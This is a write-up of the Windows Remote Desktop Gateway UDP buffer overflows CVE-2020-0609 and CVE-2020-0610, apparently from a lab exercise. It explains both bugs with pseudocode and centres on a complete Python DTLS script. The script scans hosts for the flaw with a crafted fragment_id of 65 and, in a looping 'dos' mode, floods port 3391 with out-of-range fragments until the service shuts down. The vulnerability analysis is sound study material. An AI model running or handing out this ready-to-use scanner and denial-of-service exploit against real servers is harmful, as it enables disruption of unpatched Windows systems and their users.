CVE-2020-0609 & CVE-2020-0610

Bug Overview

For Windows RDP service based on UDP, the application(service) has to handle the incoming packets and re-assemble them in the correct order as well as ensure that no parts are missing.

This information is obtained from the packet headers which have the following fields: - `fragment id` : Denotes the fragment's position in the sequence - `num_fragments` : Denotes the total number of fragment in the sequence - `fragment_length` : Denotes the length of the fragment's data

The implementation of the packet handler in the Windows RDP service introduces some bugs. The below mentioned code snippets are parts of this handler function being used to demonstrate the bugs.

1. CVE-2020-0609 : Buffer Overflow(Vuln 1)

```
if ((this->bytes_written + packet->fragment_len) > this->buffer_size)
    return error;

/*
    some more code
*/

memcpy_s(&this->buffer[1000 * packet->fragment_id], 1000, &packet->fragment, packet->fragment_len);

this->bytes_written += packet->fragment_len;
```

The first line of the above code snippet is a **bounds check** on the (re-assembly) buffer. `memcpy_s` copies each fragment to an offset in the buffer which is calculated using the `fragment_id`, while the third line notes the update of the `bytes_written` variable being used in the bounds check.

Noting that the offset is not being used in the bounds check, we realize that this is a simple buffer overflow in which we control both the offset and the length of the data being written.

2. CVE-2020-0610 : Buffer Overflow(Vuln 2)

```
if (this->frag_received[fragment_id])
    return ok;

/*
    some more code
*/

this->frag_received[fragment_id] = TRUE;
```

This code snippet shows that whenever any packet is verified, it's marked as received so as to not worry about the same packet being received multiple times. The array `this->frag_received` has space for only upto 64 entries, but the `fragment_id` can be any number between 0 to 65535; and hence, this also is a buffer overflow, however with each received fragment just 1 bit is being modified.

Environment

A local VM running Windows Server 2019 (`Build Version - 10.0.0.17763.914-amd64`) has been spawned, and UDP mode of Remote Desktop Gateway has been enabled on the same on port `3391`. Our python exploit resides on the host and sends crafter packets to the VM.

Our code to exploit the vulnerability is as follows:

Exploit

```
from pwn import *
from argparse import *
from cryptography.hazmat.bindings.openssl.binding import Binding
from OpenSSL import SSL
import select

TIMEOUT = 3

# need DTLS sockets

RED = '\033[31m'
GREEN = '\033[32m'
BLUE = '\033[34m'
RESET = '\033[0m'


def good(s):
    print(f'{GREEN}[>] {s} {RESET}'.format())


def bad(s):
    print(f'{RED}[>] {s} {RESET}'.format())


def ok(s):
    print(f'{BLUE}[>] {s} {RESET}'.format())

# DTLS
def init_dtls():
    binding = Binding()
    binding.init_static_locks()
    SSL.Context._methods[0] = getattr(binding.lib, "DTLSv1_client_method")




class Packet:
    def __init__(self, fragment, packet_id, fragment_id, num_fragments):

        self.fragment = fragment
        self.packet_id = packet_id
        self.fragment_id = fragment_id
        self.num_fragments = num_fragments

    def __bytes__(self):
        return (struct.pack("<HHHHH",
                            self.packet_id,           # packet id
                            len(self.fragment) + 6,   # packet length
                            self.fragment_id,         # fragment id
                            self.num_fragments,  # number of fragments
                            len(self.fragment)       # fragment length
```

```
                            ) + self.fragment)


class Connection:
    def __init__(self, host, port):
        init_dtls()
        ok(f"Connecting to {host} at {port}".format())
        self.socket = socket.socket(
            socket.AF_INET, socket.SOCK_DGRAM)
        self.connec = SSL.Connection(SSL.Context(0), self.socket)
        self.connec.connect((host, port))
        self.connec.do_handshake()

    def send(self, packet: Packet):
        self.connec.send(bytes(packet))

    def recv(self, size):
        return self.connec.recv(size)

    def check(self):
        pk = Packet(b"\x00", 5, 65, 66)
        self.send(pk)

        ready = select.select([self.socket], [], [], TIMEOUT)
        if ready[0]:
            res = self.recv(16)

            x = not (0x8000ffff == struct.unpack('<L', res[-4:])[0])

            if (x):
                good("Host is vulnerable")
            else:
                good("Host is not vulnerable")
        else:
            good("Host is vulnerable")

    def dos(self, x):
        pk = Packet(b"\x20" * 1000, 5, x, x)
        self.send(pk)


if __name__ == "__main__":
    p = ArgumentParser()
    choices = ["check", "dos"]
    p.add_argument("--ip", default='127.0.0.1',
                   help="IP", required=False, type=str)
    p.add_argument("--port", default=3391, help="UDP port",
                   required=False, type=int)
    p.add_argument("--attack", default="check", help="Attack type",
                   required=False, type=str, choices=choices)

    args = p.parse_args()
    attack = choices.index(args.attack)
```

```
if (attack == 0):
    c = Connection(args.ip, args.port)
    c.check()

elif (attack == 1):
    x = 0
    while True:
        c = Connection(args.ip, args.port)
        for i in range(50):
            c.dos(x + i)
        x += 1
```

```
Usage : python3 exploit.py [-h] [--ip IP] [--port PORT] [--attack {check,dos}]
```

Report

We have managed to attack the vulnerability in the following two ways -

1. Scanning for the vulnerability

CVE-2020-0610 has been scanned for, using a crafted packet whose `fragment_id` has been (maliciously) chosen to be `65`(along with `num_fragments` being `66` since it has to be `> fragment_id`).
Such a packet is not acceptable on the patched version and returns an error(patched version has a check saying `packet->fragment_id > 64` returns error); while the unpatched version returns no error but goes on executing further. Thus, no error received demonstrates that the vulnerability exists.

Scanning for solely **CVE-2020-0609** seems quite difficult since the buffer is supposed to be able to accomodate atleast the maximum number of fragments truly possible(which is `64` actually) and therefore, the buffer size would be atleast `64*1000` bytes and in such a case, a buffer overflow in `this->buffer` is impossible to happen with `fragment_id < 64`. (The buffer is long enough to prevent from overwriting neighbouring data with just **CVE-2020-0609**).

2. DoSing the host

The host can be DoSed by exploiting **CVE-2020-0610** using crafted packets having `fragment_id >= 64`. Our exploit connects to the server multiple times and sends such malicious packets over and over again, causing the service to eventually be shut down.

In our exploit, we've tried to not trigger the other vulnerability by choosing the fragments to have `fragment_size` of `1000` bytes and sending the fragments with increasing `fragment_id`; such as to ensure that `this->bytes_written` gets incremented by exactly `1000`(which is also the number of bytes being copied into the buffer). However, since the underlying protocol is UDP, we cannot be definitely sure that this is the case.

Once again, exploiting solely **CVE-2020-0609** to DoS the host is impossible due to the exact same reason as mentioned above.

> Note that both the exploits could be exploited simultaneously but that doesn't add to anything. Our exploits would still be similar and so would the results obtained be!